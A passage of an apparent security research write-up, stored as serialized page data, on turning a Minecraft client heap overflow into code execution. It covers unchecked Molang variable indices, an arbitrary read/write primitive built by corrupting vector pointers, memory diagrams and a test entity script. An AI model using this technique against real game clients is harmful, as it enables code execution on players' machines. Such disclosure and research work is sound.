",{"type":23,"tag":154,"props":154603,"children":154605},{"className":154604},[],[154606],{"type":29,"value":130697},{"type":29,"value":154608}," because it contains variable values. In the screenshot above, the ",{"type":23,"tag":154,"props":154610,"children":154612},{"className":154611},[],[154613],{"type":29,"value":154614},"value_type",{"type":29,"value":154616}," at ",{"type":23,"tag":154,"props":154618,"children":154620},{"className":154619},[],[154621],{"type":29,"value":130697},{"type":29,"value":7546},{"type":23,"tag":154,"props":154624,"children":154626},{"className":154625},[],[154627],{"type":29,"value":708},{"type":29,"value":154629}," (meaning float), and the ",{"type":23,"tag":154,"props":154631,"children":154633},{"className":154632},[],[154634],{"type":29,"value":41208},{"type":29,"value":154616},{"type":23,"tag":154,"props":154637,"children":154639},{"className":154638},[],[154640],{"type":29,"value":154641},"0x38",{"type":29,"value":7546},{"type":23,"tag":154,"props":154644,"children":154646},{"className":154645},[],[154647],{"type":29,"value":154648},"0xbf2070c8",{"type":29,"value":357},{"type":23,"tag":32,"props":154651,"children":154652},{},[154653,154655,154661,154663,154668,154670,154675,154676,154681,154683,154688,154690,154695],{"type":29,"value":154654},"During assignment, such as ",{"type":23,"tag":154,"props":154656,"children":154658},{"className":154657},[],[154659],{"type":29,"value":154660},"variable.a = variable.b",{"type":29,"value":154662},", each field of ",{"type":23,"tag":154,"props":154664,"children":154666},{"className":154665},[],[154667],{"type":29,"value":154599},{"type":29,"value":154669}," is copied from variable ",{"type":23,"tag":154,"props":154671,"children":154673},{"className":154672},[],[154674],{"type":29,"value":3003},{"type":29,"value":58837},{"type":23,"tag":154,"props":154677,"children":154679},{"className":154678},[],[154680],{"type":29,"value":68},{"type":29,"value":154682},". Interestingly, the ",{"type":23,"tag":154,"props":154684,"children":154686},{"className":154685},[],[154687],{"type":29,"value":41208},{"type":29,"value":154689}," field is always copied as a ",{"type":23,"tag":154,"props":154691,"children":154693},{"className":154692},[],[154694],{"type":29,"value":57696},{"type":29,"value":154696}," even if the type is a 32-bit float.",{"type":23,"tag":32,"props":154698,"children":154699},{},[154700,154702,154708],{"type":29,"value":154701},"Each entity stores its variables in a per-entity vector called ",{"type":23,"tag":154,"props":154703,"children":154705},{"className":154704},[],[154706],{"type":29,"value":154707},"MolangVariableMap",{"type":29,"value":357},{"type":23,"tag":20944,"props":154710,"children":154712},{"id":154711},"molangvariablemap",[154713],{"type":29,"value":154707},{"type":23,"tag":32,"props":154715,"children":154716},{},[154717,154722,154724,154730,154732,154738],{"type":23,"tag":154,"props":154718,"children":154720},{"className":154719},[],[154721],{"type":29,"value":154707},{"type":29,"value":154723}," is simply a ",{"type":23,"tag":154,"props":154725,"children":154727},{"className":154726},[],[154728],{"type":29,"value":154729},"std::vector\u003CMolangVariable *>",{"type":29,"value":154731}," contained per entity. To reason about its memory we need to recall MSVC ",{"type":23,"tag":154,"props":154733,"children":154735},{"className":154734},[],[154736],{"type":29,"value":154737},"std::vector",{"type":29,"value":154739}," layout:",{"type":23,"tag":4743,"props":154741,"children":154743},{"code":154742,"language":3110,"meta":7,"className":18562,"style":7},"struct vector {\n    void *buf;\n    void *len;\n    void *cap;\n};\n",[154744],{"type":23,"tag":154,"props":154745,"children":154746},{"__ignoreMap":7},[154747,154759,154775,154791,154807],{"type":23,"tag":504,"props":154748,"children":154749},{"class":5016,"line":5017},[154750,154754],{"type":23,"tag":504,"props":154751,"children":154752},{"style":5030},[154753],{"type":29,"value":11448},{"type":23,"tag":504,"props":154755,"children":154756},{"style":5058},[154757],{"type":29,"value":154758}," vector {\n",{"type":23,"tag":504,"props":154760,"children":154761},{"class":5016,"line":4868},[154762,154766,154770],{"type":23,"tag":504,"props":154763,"children":154764},{"style":5030},[154765],{"type":29,"value":18595},{"type":23,"tag":504,"props":154767,"children":154768},{"style":5047},[154769],{"type":29,"value":11863},{"type":23,"tag":504,"props":154771,"children":154772},{"style":5058},[154773],{"type":29,"value":154774},"buf;\n",{"type":23,"tag":504,"props":154776,"children":154777},{"class":5016,"line":4876},[154778,154782,154786],{"type":23,"tag":504,"props":154779,"children":154780},{"style":5030},[154781],{"type":29,"value":18595},{"type":23,"tag":504,"props":154783,"children":154784},{"style":5047},[154785],{"type":29,"value":11863},{"type":23,"tag":504,"props":154787,"children":154788},{"style":5058},[154789],{"type":29,"value":154790},"len;\n",{"type":23,"tag":504,"props":154792,"children":154793},{"class":5016,"line":5099},[154794,154798,154802],{"type":23,"tag":504,"props":154795,"children":154796},{"style":5030},[154797],{"type":29,"value":18595},{"type":23,"tag":504,"props":154799,"children":154800},{"style":5047},[154801],{"type":29,"value":11863},{"type":23,"tag":504,"props":154803,"children":154804},{"style":5058},[154805],{"type":29,"value":154806},"cap;\n",{"type":23,"tag":504,"props":154808,"children":154809},{"class":5016,"line":5203},[154810],{"type":23,"tag":504,"props":154811,"children":154812},{"style":5058},[154813],{"type":29,"value":18625},{"type":23,"tag":32,"props":154815,"children":154816},{},[154817,154822,154824,154829,154831,154837,154839,154844,154845,154850],{"type":23,"tag":154,"props":154818,"children":154820},{"className":154819},[],[154821],{"type":29,"value":151903},{"type":29,"value":154823}," points to the allocated array of elements, ",{"type":23,"tag":154,"props":154825,"children":154827},{"className":154826},[],[154828],{"type":29,"value":11186},{"type":29,"value":154830}," points just past the last used element, and ",{"type":23,"tag":154,"props":154832,"children":154834},{"className":154833},[],[154835],{"type":29,"value":154836},"cap",{"type":29,"value":154838}," points to the end of the allocated buffer. Notably, the types of ",{"type":23,"tag":154,"props":154840,"children":154842},{"className":154841},[],[154843],{"type":29,"value":11186},{"type":29,"value":4478},{"type":23,"tag":154,"props":154846,"children":154848},{"className":154847},[],[154849],{"type":29,"value":154836},{"type":29,"value":154851}," aren't typical integer types for sizes, but both are pointers.",{"type":23,"tag":32,"props":154853,"children":154854},{},[154855],{"type":29,"value":154856},"Example layout for a vector holding three variable pointers plus one unused slot:",{"type":23,"tag":4743,"props":154858,"children":154860},{"code":154859},"+---------+         +--------------------+\n|   buf   +-------> | MolangVariable A*  |\n+---------+         +--------------------+\n|   len   +----+    | MolangVariable B*  |\n+---------+    |    +--------------------+\n|   cap   |    |    | MolangVariable C*  |\n+----+----+    |    +--------------------+\n     |         +--> | Empty element slot |\n     |              +--------------------+\n     |                                   ^\n     +-----------------------------------+\n",[154861],{"type":23,"tag":154,"props":154862,"children":154863},{"__ignoreMap":7},[154864],{"type":29,"value":154859},{"type":23,"tag":32,"props":154866,"children":154867},{},[154868,154870,154876,154878,154884],{"type":29,"value":154869},"Because each entity can create and initialize variables independently, the indices of specific variables (e.g., ",{"type":23,"tag":154,"props":154871,"children":154873},{"className":154872},[],[154874],{"type":29,"value":154875},"variable.result",{"type":29,"value":154877},") may differ between entities. To get around this, ",{"type":23,"tag":154,"props":154879,"children":154881},{"className":154880},[],[154882],{"type":29,"value":154883},"MolangIndexMap",{"type":29,"value":154885}," is used to map a global variable name to the correct per-entity slot.",{"type":23,"tag":20944,"props":154887,"children":154889},{"id":154888},"molangindexmap",[154890],{"type":29,"value":154883},{"type":23,"tag":32,"props":154892,"children":154893},{},[154894,154899,154901,154907,154909,154915],{"type":23,"tag":154,"props":154895,"children":154897},{"className":154896},[],[154898],{"type":29,"value":154883},{"type":29,"value":154900}," is a per-entity ",{"type":23,"tag":154,"props":154902,"children":154904},{"className":154903},[],[154905],{"type":29,"value":154906},"std::vector\u003Cuint16_t>",{"type":29,"value":154908},". The engine maintains a global hashmap that maps variable names to a global index. When the client encounters a statement like ",{"type":23,"tag":154,"props":154910,"children":154912},{"className":154911},[],[154913],{"type":29,"value":154914},"variable.result = 0",{"type":29,"value":154916}," it:",{"type":23,"tag":139,"props":154918,"children":154919},{},[154920,154930,154940],{"type":23,"tag":143,"props":154921,"children":154922},{},[154923,154925],{"type":29,"value":154924},"Checks the global hashmap for ",{"type":23,"tag":154,"props":154926,"children":154928},{"className":154927},[],[154929],{"type":29,"value":11129},{"type":23,"tag":143,"props":154931,"children":154932},{},[154933,154935],{"type":29,"value":154934},"If found, uses the global index to look up the per-entity index in ",{"type":23,"tag":154,"props":154936,"children":154938},{"className":154937},[],[154939],{"type":29,"value":154883},{"type":23,"tag":143,"props":154941,"children":154942},{},[154943,154945],{"type":29,"value":154944},"If not found, creates a new global entry and assigns it ",{"type":23,"tag":154,"props":154946,"children":154948},{"className":154947},[],[154949],{"type":29,"value":154950},"last_index + 1",{"type":23,"tag":32,"props":154952,"children":154953},{},[154954,154956,154961,154963,154968,154970,154975,154977,154982,154984,154989,154990,154996,154998,155003],{"type":29,"value":154955},"This means the same global index for variable ",{"type":23,"tag":154,"props":154957,"children":154959},{"className":154958},[],[154960],{"type":29,"value":11129},{"type":29,"value":154962}," maps to the same position inside every entity’s ",{"type":23,"tag":154,"props":154964,"children":154966},{"className":154965},[],[154967],{"type":29,"value":154883},{"type":29,"value":154969},", but the actual ",{"type":23,"tag":154,"props":154971,"children":154973},{"className":154972},[],[154974],{"type":29,"value":154380},{"type":29,"value":154976}," for ",{"type":23,"tag":154,"props":154978,"children":154980},{"className":154979},[],[154981],{"type":29,"value":11129},{"type":29,"value":154983}," may live at different slots inside each entity's ",{"type":23,"tag":154,"props":154985,"children":154987},{"className":154986},[],[154988],{"type":29,"value":154707},{"type":29,"value":20582},{"type":23,"tag":154,"props":154991,"children":154993},{"className":154992},[],[154994],{"type":29,"value":154995},"Entity.MolangIndexMap[global_index]",{"type":29,"value":154997}," stores the per-entity index (slot) of variable ",{"type":23,"tag":154,"props":154999,"children":155001},{"className":155000},[],[155002],{"type":29,"value":11129},{"type":29,"value":357},{"type":23,"tag":32,"props":155005,"children":155006},{},[155007,155009,155014,155016,155021,155023,155028,155030,155035,155037,155043,155045,155050],{"type":29,"value":155008},"Importantly, we found that indices in the ",{"type":23,"tag":154,"props":155010,"children":155012},{"className":155011},[],[155013],{"type":29,"value":154883},{"type":29,"value":155015}," are trusted and the client does not validate that a per-entity index actually lies within the bounds of that entity’s ",{"type":23,"tag":154,"props":155017,"children":155019},{"className":155018},[],[155020],{"type":29,"value":154707},{"type":29,"value":155022},". This means that if we overwrite the index of variable ",{"type":23,"tag":154,"props":155024,"children":155026},{"className":155025},[],[155027],{"type":29,"value":11129},{"type":29,"value":155029}," (an example, it can be any variable) with the chunk overlap and make it out-of-bounds for that entity’s ",{"type":23,"tag":154,"props":155031,"children":155033},{"className":155032},[],[155034],{"type":29,"value":154707},{"type":29,"value":155036},", we could read from and write to ",{"type":23,"tag":154,"props":155038,"children":155040},{"className":155039},[],[155041],{"type":29,"value":155042},"address + 0x38",{"type":29,"value":155044}," through ",{"type":23,"tag":154,"props":155046,"children":155048},{"className":155047},[],[155049],{"type":29,"value":154875},{"type":29,"value":357},{"type":23,"tag":320,"props":155052,"children":155054},{"id":155053},"building-a-molang-arbitrary-rw-primitive",[155055],{"type":29,"value":155056},"Building a Molang Arbitrary R/W Primitive",{"type":23,"tag":32,"props":155058,"children":155059},{},[155060,155062,155067,155069,155074],{"type":29,"value":155061},"We needed some pointer inside a heap-sprayable object that we could use to build an arbitrary read/write primitive in Molang. Eventually, we came up with the thought of using internal pointers of ",{"type":23,"tag":154,"props":155063,"children":155065},{"className":155064},[],[155066],{"type":29,"value":154737},{"type":29,"value":155068}," - specifically, of ",{"type":23,"tag":154,"props":155070,"children":155072},{"className":155071},[],[155073],{"type":29,"value":154707},{"type":29,"value":155075}," vector.",{"type":23,"tag":32,"props":155077,"children":155078},{},[155079,155081,155086,155088,155093,155094,155099,155101,155106],{"type":29,"value":155080},"Because every entity object is heap-allocated and contains a ",{"type":23,"tag":154,"props":155082,"children":155084},{"className":155083},[],[155085],{"type":29,"value":154707},{"type":29,"value":155087}," vector, we realised we might be able to overwrite a variable index so it reads the ",{"type":23,"tag":154,"props":155089,"children":155091},{"className":155090},[],[155092],{"type":29,"value":151903},{"type":29,"value":57853},{"type":23,"tag":154,"props":155095,"children":155097},{"className":155096},[],[155098],{"type":29,"value":154707},{"type":29,"value":155100}," vector belonging to an entity object placed just next the ",{"type":23,"tag":154,"props":155102,"children":155104},{"className":155103},[],[155105],{"type":29,"value":154707},{"type":29,"value":155107}," allocated buffer.",{"type":23,"tag":4743,"props":155109,"children":155111},{"code":155110},"      +-------------+ \u003C--+                   \n+---> | variable.a  |    |                   \n|     +-------------+    |                   \n|     | variable.b  |    |                   \n|     +-------------+    +- MolangVariableMap allocated buffer\n|     |    . . .    |    |                   \n|     +-------------+    |                   \n|     | variable.f  |    |                   \n|     +-------------+ \u003C--+--+                \n|     |             |       |                \n|     |             |       |                \n|     |             |       |                \n|     |             |       |                \n|     +------+------+       +- Entity Object \n+-----+ buf  | len  |       |                \n      +------+------+       |                \n      | cap  |      |       |                \n      +------+      |       |                \n      +-------------+ \u003C-----+                                       \n",[155112],{"type":23,"tag":154,"props":155113,"children":155114},{"__ignoreMap":7},[155115],{"type":29,"value":155110},{"type":23,"tag":32,"props":155117,"children":155118},{},[155119,155121,155126,155128,155134,155136,155141,155142,155148,155149,155154,155156,155161,155163,155168,155170,155175,155177,155182,155184,155189,155191,155196,155198,155204,155206,155211,155213,155218],{"type":29,"value":155120},"In the scenario above, the ",{"type":23,"tag":154,"props":155122,"children":155124},{"className":155123},[],[155125],{"type":29,"value":154883},{"type":29,"value":155127}," would map ",{"type":23,"tag":154,"props":155129,"children":155131},{"className":155130},[],[155132],{"type":29,"value":155133},"variable.a",{"type":29,"value":155135}," -> index ",{"type":23,"tag":154,"props":155137,"children":155139},{"className":155138},[],[155140],{"type":29,"value":708},{"type":29,"value":4367},{"type":23,"tag":154,"props":155143,"children":155145},{"className":155144},[],[155146],{"type":29,"value":155147},"variable.b",{"type":29,"value":155135},{"type":23,"tag":154,"props":155150,"children":155152},{"className":155151},[],[155153],{"type":29,"value":826},{"type":29,"value":155155},", and so on. If we overwrite the index for ",{"type":23,"tag":154,"props":155157,"children":155159},{"className":155158},[],[155160],{"type":29,"value":155133},{"type":29,"value":155162}," with a value that is out-of-bounds for the ",{"type":23,"tag":154,"props":155164,"children":155166},{"className":155165},[],[155167],{"type":29,"value":154707},{"type":29,"value":155169},", it can instead index the ",{"type":23,"tag":154,"props":155171,"children":155173},{"className":155172},[],[155174],{"type":29,"value":151903},{"type":29,"value":155176}," field of the entity object above. Reading ",{"type":23,"tag":154,"props":155178,"children":155180},{"className":155179},[],[155181],{"type":29,"value":155133},{"type":29,"value":155183}," will then return the pointer stored at offset ",{"type":23,"tag":154,"props":155185,"children":155187},{"className":155186},[],[155188],{"type":29,"value":154641},{"type":29,"value":155190}," from the start of the ",{"type":23,"tag":154,"props":155192,"children":155194},{"className":155193},[],[155195],{"type":29,"value":154707},{"type":29,"value":155197}," (which in this diagram corresponds to ",{"type":23,"tag":154,"props":155199,"children":155201},{"className":155200},[],[155202],{"type":29,"value":155203},"variable.f",{"type":29,"value":155205},"), and writing to ",{"type":23,"tag":154,"props":155207,"children":155209},{"className":155208},[],[155210],{"type":29,"value":155133},{"type":29,"value":155212}," will overwrite that pointer - corrupting ",{"type":23,"tag":154,"props":155214,"children":155216},{"className":155215},[],[155217],{"type":29,"value":155203},{"type":29,"value":357},{"type":23,"tag":32,"props":155220,"children":155221},{},[155222,155224,155229,155230,155236,155238,155243,155245,155251,155253,155258,155260,155265,155267,155273,155275,155281,155283,155288],{"type":29,"value":155223},"To leak the address of the Minecraft executable we could increment ",{"type":23,"tag":154,"props":155225,"children":155227},{"className":155226},[],[155228],{"type":29,"value":155133},{"type":29,"value":5110},{"type":23,"tag":154,"props":155231,"children":155233},{"className":155232},[],[155234],{"type":29,"value":155235},"variable.a += 8",{"type":29,"value":155237},"), which advances the pointer used for ",{"type":23,"tag":154,"props":155239,"children":155241},{"className":155240},[],[155242],{"type":29,"value":155203},{"type":29,"value":155244}," by 8 bytes. The Molang script would repeat this until it finds a vtable pointer in the heap. At that point we can write arbitrary values into writable regions of the Minecraft process by setting ",{"type":23,"tag":154,"props":155246,"children":155248},{"className":155247},[],[155249],{"type":29,"value":155250},"variable.a = variable.exe_leak + \u003Coffset>",{"type":29,"value":155252}," - this updates the ",{"type":23,"tag":154,"props":155254,"children":155256},{"className":155255},[],[155257],{"type":29,"value":155203},{"type":29,"value":155259}," pointer to our chosen address, and writing to ",{"type":23,"tag":154,"props":155261,"children":155263},{"className":155262},[],[155264],{"type":29,"value":155203},{"type":29,"value":155266},", for example ",{"type":23,"tag":154,"props":155268,"children":155270},{"className":155269},[],[155271],{"type":29,"value":155272},"variable.f = 1337",{"type":29,"value":155274},", writes the value ",{"type":23,"tag":154,"props":155276,"children":155278},{"className":155277},[],[155279],{"type":29,"value":155280},"1337",{"type":29,"value":155282}," to offset ",{"type":23,"tag":154,"props":155284,"children":155286},{"className":155285},[],[155287],{"type":29,"value":154641},{"type":29,"value":155289}," from that calculated address.",{"type":23,"tag":20944,"props":155291,"children":155293},{"id":155292},"testing-the-idea",[155294],{"type":29,"value":155295},"Testing the Idea",{"type":23,"tag":32,"props":155297,"children":155298},{},[155299,155301,155306,155308,155313,155315,155320],{"type":29,"value":155300},"We tested the idea by manually adding a pointer to the start of ",{"type":23,"tag":154,"props":155302,"children":155304},{"className":155303},[],[155305],{"type":29,"value":154707},{"type":29,"value":155307}," and modifying the index of a variable so that it indexed this out-of-bounds pointer. It ",{"type":23,"tag":4321,"props":155309,"children":155310},{},[155311],{"type":29,"value":155312},"almost",{"type":29,"value":155314}," worked - below is the state of the ",{"type":23,"tag":154,"props":155316,"children":155318},{"className":155317},[],[155319],{"type":29,"value":154707},{"type":29,"value":155321},"'s allocated buffer before the Molang script executes:",{"type":23,"tag":32,"props":155323,"children":155324},{},[155325],{"type":23,"tag":199,"props":155326,"children":155328},{"alt":201,"src":155327},"/posts/minecraft-heap-overflow-to-rce/image9.png",[],{"type":23,"tag":32,"props":155330,"children":155331},{},[155332],{"type":29,"value":155333},"And this is after execution:",{"type":23,"tag":32,"props":155335,"children":155336},{},[155337],{"type":23,"tag":199,"props":155338,"children":155340},{"alt":201,"src":155339},"/posts/minecraft-heap-overflow-to-rce/image10.png",[],{"type":23,"tag":32,"props":155342,"children":155343},{},[155344],{"type":29,"value":155345},"For reference, this is what the relevant entity json file containing our Molang looks like:",{"type":23,"tag":4743,"props":155347,"children":155349},{"code":155348,"language":36053,"meta":7,"className":36051,"style":7},"{\n  \"format_version\": \"1.10.0\",\n  \"minecraft:client_entity\": {\n    \"description\": {\n      \"identifier\": \"minecraft:leash_knot\",\n\n      [...]\n        \n      \"scripts\": {\n        \"initialize\": [\n          \"variable.a = 0;\",\n          \"variable.b = 0;\",\n          \"variable.c = 0;\",\n          [...]\n        ],\n        \"pre_animation\": [\n          \"variable.a = 2.310732e-27;\"\n        ]\n      },\n    }\n  }\n}\n",[155350],{"type":23,"tag":154,"props":155351,"children":155352},{"__ignoreMap":7},[155353,155360,155381,155393,155405,155426,155433,155440,155447,155459,155472,155484,155496,155508,155524,155531,155543,155551,155559,155566,155573,155580],{"type":23,"tag":504,"props":155354,"children":155355},{"class":5016,"line":5017},[155356],{"type":23,"tag":504,"props":155357,"children":155358},{"style":5058},[155359],{"type":29,"value":12926},{"type":23,"tag":504,"props":155361,"children":155362},{"class":5016,"line":4868},[155363,155368,155372,155377],{"type":23,"tag":504,"props":155364,"children":155365},{"style":5041},[155366],{"type":29,"value":155367},"  \"format_version\"",{"type":23,"tag":504,"props":155369,"children":155370},{"style":5058},[155371],{"type":29,"value":17378},{"type":23,"tag":504,"props":155373,"children":155374},{"style":6297},[155375],{"type":29,"value":155376},"\"1.10.0\"",{"type":23,"tag":504,"props":155378,"children":155379},{"style":5058},[155380],{"type":29,"value":5557},{"type":23,"tag":504,"props":155382,"children":155383},{"class":5016,"line":4876},[155384,155389],{"type":23,"tag":504,"props":155385,"children":155386},{"style":5041},[155387],{"type":29,"value":155388},"  \"minecraft:client_entity\"",{"type":23,"tag":504,"props":155390,"children":155391},{"style":5058},[155392],{"type":29,"value":39079},{"type":23,"tag":504,"props":155394,"children":155395},{"class":5016,"line":5099},[155396,155401],{"type":23,"tag":504,"props":155397,"children":155398},{"style":5041},[155399],{"type":29,"value":155400},"    \"description\"",{"type":23,"tag":504,"props":155402,"children":155403},{"style":5058},[155404],{"type":29,"value":39079},{"type":23,"tag":504,"props":155406,"children":155407},{"class":5016,"line":5203},[155408,155413,155417,155422],{"type":23,"tag":504,"props":155409,"children":155410},{"style":5041},[155411],{"type":29,"value":155412},"      \"identifier\"",{"type":23,"tag":504,"props":155414,"children":155415},{"style":5058},[155416],{"type":29,"value":17378},{"type":23,"tag":504,"props":155418,"children":155419},{"style":6297},[155420],{"type":29,"value":155421},"\"minecraft:leash_knot\"",{"type":23,"tag":504,"props":155423,"children":155424},{"style":5058},[155425],{"type":29,"value":5557},{"type":23,"tag":504,"props":155427,"children":155428},{"class":5016,"line":5308},[155429],{"type":23,"tag":504,"props":155430,"children":155431},{"emptyLinePlaceholder":15},[155432],{"type":29,"value":5734},{"type":23,"tag":504,"props":155434,"children":155435},{"class":5016,"line":5336},[155436],{"type":23,"tag":504,"props":155437,"children":155438},{"style":24447},[155439],{"type":29,"value":129220},{"type":23,"tag":504,"props":155441,"children":155442},{"class":5016,"line":5349},[155443],{"type":23,"tag":504,"props":155444,"children":155445},{"style":5058},[155446],{"type":29,"value":154530},{"type":23,"tag":504,"props":155448,"children":155449},{"class":5016,"line":5367},[155450,155455],{"type":23,"tag":504,"props":155451,"children":155452},{"style":5041},[155453],{"type":29,"value":155454},"      \"scripts\"",{"type":23,"tag":504,"props":155456,"children":155457},{"style":5058},[155458],{"type":29,"value":39079},{"type":23,"tag":504,"props":155460,"children":155461},{"class":5016,"line":5388},[155462,155467],{"type":23,"tag":504,"props":155463,"children":155464},{"style":5041},[155465],{"type":29,"value":155466},"        \"initialize\"",{"type":23,"tag":504,"props":155468,"children":155469},{"style":5058},[155470],{"type":29,"value":155471},": [\n",{"type":23,"tag":504,"props":155473,"children":155474},{"class":5016,"line":5397},[155475,155480],{"type":23,"tag":504,"props":155476,"children":155477},{"style":6297},[155478],{"type":29,"value":155479},"          \"variable.a = 0;\"",{"type":23,"tag":504,"props":155481,"children":155482},{"style":5058},[155483],{"type":29,"value":5557},{"type":23,"tag":504,"props":155485,"children":155486},{"class":5016,"line":5649},[155487,155492],{"type":23,"tag":504,"props":155488,"children":155489},{"style":6297},[155490],{"type":29,"value":155491},"          \"variable.b = 0;\"",{"type":23,"tag":504,"props":155493,"children":155494},{"style":5058},[155495],{"type":29,"value":5557},{"type":23,"tag":504,"props":155497,"children":155498},{"class":5016,"line":5666},[155499,155504],{"type":23,"tag":504,"props":155500,"children":155501},{"style":6297},[155502],{"type":29,"value":155503},"          \"variable.c = 0;\"",{"type":23,"tag":504,"props":155505,"children":155506},{"style":5058},[155507],{"type":29,"value":5557},{"type":23,"tag":504,"props":155509,"children":155510},{"class":5016,"line":5683},[155511,155516,155520],{"type":23,"tag":504,"props":155512,"children":155513},{"style":5058},[155514],{"type":29,"value":155515},"          [",{"type":23,"tag":504,"props":155517,"children":155518},{"style":24447},[155519],{"type":29,"value":853},{"type":23,"tag":504,"props":155521,"children":155522},{"style":5058},[155523],{"type":29,"value":13818},{"type":23,"tag":504,"props":155525,"children":155526},{"class":5016,"line":5696},[155527],{"type":23,"tag":504,"props":155528,"children":155529},{"style":5058},[155530],{"type":29,"value":45708},{"type":23,"tag":504,"props":155532,"children":155533},{"class":5016,"line":5705},[155534,155539],{"type":23,"tag":504,"props":155535,"children":155536},{"style":5041},[155537],{"type":29,"value":155538},"        \"pre_animation\"",{"type":23,"tag":504,"props":155540,"children":155541},{"style":5058},[155542],{"type":29,"value":155471},{"type":23,"tag":504,"props":155544,"children":155545},{"class":5016,"line":5728},[155546],{"type":23,"tag":504,"props":155547,"children":155548},{"style":6297},[155549],{"type":29,"value":155550},"          \"variable.a = 2.310732e-27;\"\n",{"type":23,"tag":504,"props":155552,"children":155553},{"class":5016,"line":5737},[155554],{"type":23,"tag":504,"props":155555,"children":155556},{"style":5058},[155557],{"type":29,"value":155558},"        ]\n",{"type":23,"tag":504,"props":155560,"children":155561},{"class":5016,"line":5746},[155562],{"type":23,"tag":504,"props":155563,"children":155564},{"style":5058},[155565],{"type":29,"value":39256},{"type":23,"tag":504,"props":155567,"children":155568},{"class":5016,"line":5813},[155569],{"type":23,"tag":504,"props":155570,"children":155571},{"style":5058},[155572],{"type":29,"value":5403},{"type":23,"tag":504,"props":155574,"children":155575},{"class":5016,"line":5821},[155576],{"type":23,"tag":504,"props":155577,"children":155578},{"style":5058},[155579],{"type":29,"value":7917},{"type":23,"tag":504,"props":155581,"children":155582},{"class":5016,"line":5851},[155583],{"type":23,"tag":504,"props":155584,"children":155585},{"style":5058},[155586],{"type":29,"value":5965},{"type":23,"tag":32,"props":155588,"children":155589},{},[155590,155592,155597,155599,155604,155606,155611],{"type":29,"value":155591},"As shown, the pointer of a variable at offset ",{"type":23,"tag":154,"props":155593,"children":155595},{"className":155594},[],[155596],{"type":29,"value":154641},{"type":29,"value":155598}," was modified and the core concept works. During ",{"type":23,"tag":154,"props":155600,"children":155602},{"className":155601},[],[155603],{"type":29,"value":154599},{"type":29,"value":155605}," copy, pointers of some other variables above offset ",{"type":23,"tag":154,"props":155607,"children":155609},{"className":155608},[],[155610],{"type":29,"value":154641},{"type":29,"value":155612}," were removed, but this is fine as we control these variables and can simply not update them during execution. However, we discovered other issues with this approach.",{"type":23,"tag":32,"props":155614,"children":155615},{},[155616],{"type":29,"value":155617},"As mentioned earlier, the only number type in Molang is a 32-bit float, which causes two major problems:",{"type":23,"tag":1022,"props":155619,"children":155620},{},[155621,155634],{"type":23,"tag":143,"props":155622,"children":155623},{},[155624,155626,155632],{"type":29,"value":155625},"The pointer increment is inconsistent because of ASLR. If the lower 32 bits of the address are larger than ",{"type":23,"tag":154,"props":155627,"children":155629},{"className":155628},[],[155630],{"type":29,"value":155631},"FLT_MAX",{"type":29,"value":155633},", the value becomes an invalid float causing the increment operation to fail.",{"type":23,"tag":143,"props":155635,"children":155636},{},[155637,155639,155644,155646,155651,155652,155657,155659,155664],{"type":29,"value":155638},"As noted before, during assignment, ",{"type":23,"tag":154,"props":155640,"children":155642},{"className":155641},[],[155643],{"type":29,"value":154599},{"type":29,"value":155645}," fields are copied, and the ",{"type":23,"tag":154,"props":155647,"children":155649},{"className":155648},[],[155650],{"type":29,"value":41208},{"type":29,"value":154689},{"type":23,"tag":154,"props":155653,"children":155655},{"className":155654},[],[155656],{"type":29,"value":57696},{"type":29,"value":155658},". Since our source ",{"type":23,"tag":154,"props":155660,"children":155662},{"className":155661},[],[155663],{"type":29,"value":154599},{"type":29,"value":155665}," (calculation rvalue) only has the lower 32 bits populated (due to the 32-bit float type), the upper 32 bits of the destination address are always erased.",{"type":23,"tag":32,"props":155667,"children":155668},{},[155669],{"type":29,"value":155670},"Because of these issues, this idea alone wouldn’t work. We needed to either adjust our approach or come up with an entirely new one.",{"type":23,"tag":20944,"props":155672,"children":155674},{"id":155673},"expanding-the-idea",[155675],{"type":29,"value":155676},"Expanding the Idea",{"type":23,"tag":32,"props":155678,"children":155679},{},[155680,155682,155687,155689,155694,155695,155700,155702,155707],{"type":29,"value":155681},"As mentioned earlier, the ",{"type":23,"tag":154,"props":155683,"children":155685},{"className":155684},[],[155686],{"type":29,"value":34812},{"type":29,"value":155688}," field of ",{"type":23,"tag":154,"props":155690,"children":155692},{"className":155691},[],[155693],{"type":29,"value":154599},{"type":29,"value":17490},{"type":23,"tag":154,"props":155696,"children":155698},{"className":155697},[],[155699],{"type":29,"value":59994},{"type":29,"value":155701},". During assignment, the upper 32 bits are not touched and therefore remain uninitialized. This can be observed in the debugger screenshot above - the 32 bits directly below the ",{"type":23,"tag":154,"props":155703,"children":155705},{"className":155704},[],[155706],{"type":29,"value":41208},{"type":29,"value":155708}," field remain unchanged before and after Molang execution.",{"type":23,"tag":32,"props":155710,"children":155711},{},[155712,155714,155719],{"type":29,"value":155713},"Because of this, we thought that we could corrupt two variables instead of just one. The plan was to modify the lower 32 bits of a variable pointer using one corrupted variable, and then restore the upper 32 bits with another corrupted variable pointing to the ",{"type":23,"tag":154,"props":155715,"children":155717},{"className":155716},[],[155718],{"type":29,"value":154707},{"type":29,"value":155720},"’s allocated buffer + 4.",{"type":23,"tag":32,"props":155722,"children":155723},{},[155724,155726,155731,155733,155738,155740,155745,155746,155752],{"type":29,"value":155725},"In the example below, ",{"type":23,"tag":154,"props":155727,"children":155729},{"className":155728},[],[155730],{"type":29,"value":155133},{"type":29,"value":155732}," points to ",{"type":23,"tag":154,"props":155734,"children":155736},{"className":155735},[],[155737],{"type":29,"value":154707},{"type":29,"value":155739},", while ",{"type":23,"tag":154,"props":155741,"children":155743},{"className":155742},[],[155744],{"type":29,"value":155147},{"type":29,"value":155732},{"type":23,"tag":154,"props":155747,"children":155749},{"className":155748},[],[155750],{"type":29,"value":155751},"MolangVariableMap + 4",{"type":29,"value":6533},{"type":23,"tag":4743,"props":155754,"children":155756},{"code":155755},"                         variable.f pointer     \n                                 |              \n                   +-------------+-------------+\n                   v                           v\n                                                \n                   +-------------+-------------+\n                   | a0 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                     \n+-------------+                                 \n|    . . .    |                                 \n",[155757],{"type":23,"tag":154,"props":155758,"children":155759},{"__ignoreMap":7},[155760],{"type":29,"value":155755},{"type":23,"tag":32,"props":155762,"children":155763},{},[155764,155766,155771,155772,155777,155779,155784,155786,155791,155793,155798],{"type":29,"value":155765},"Here, the 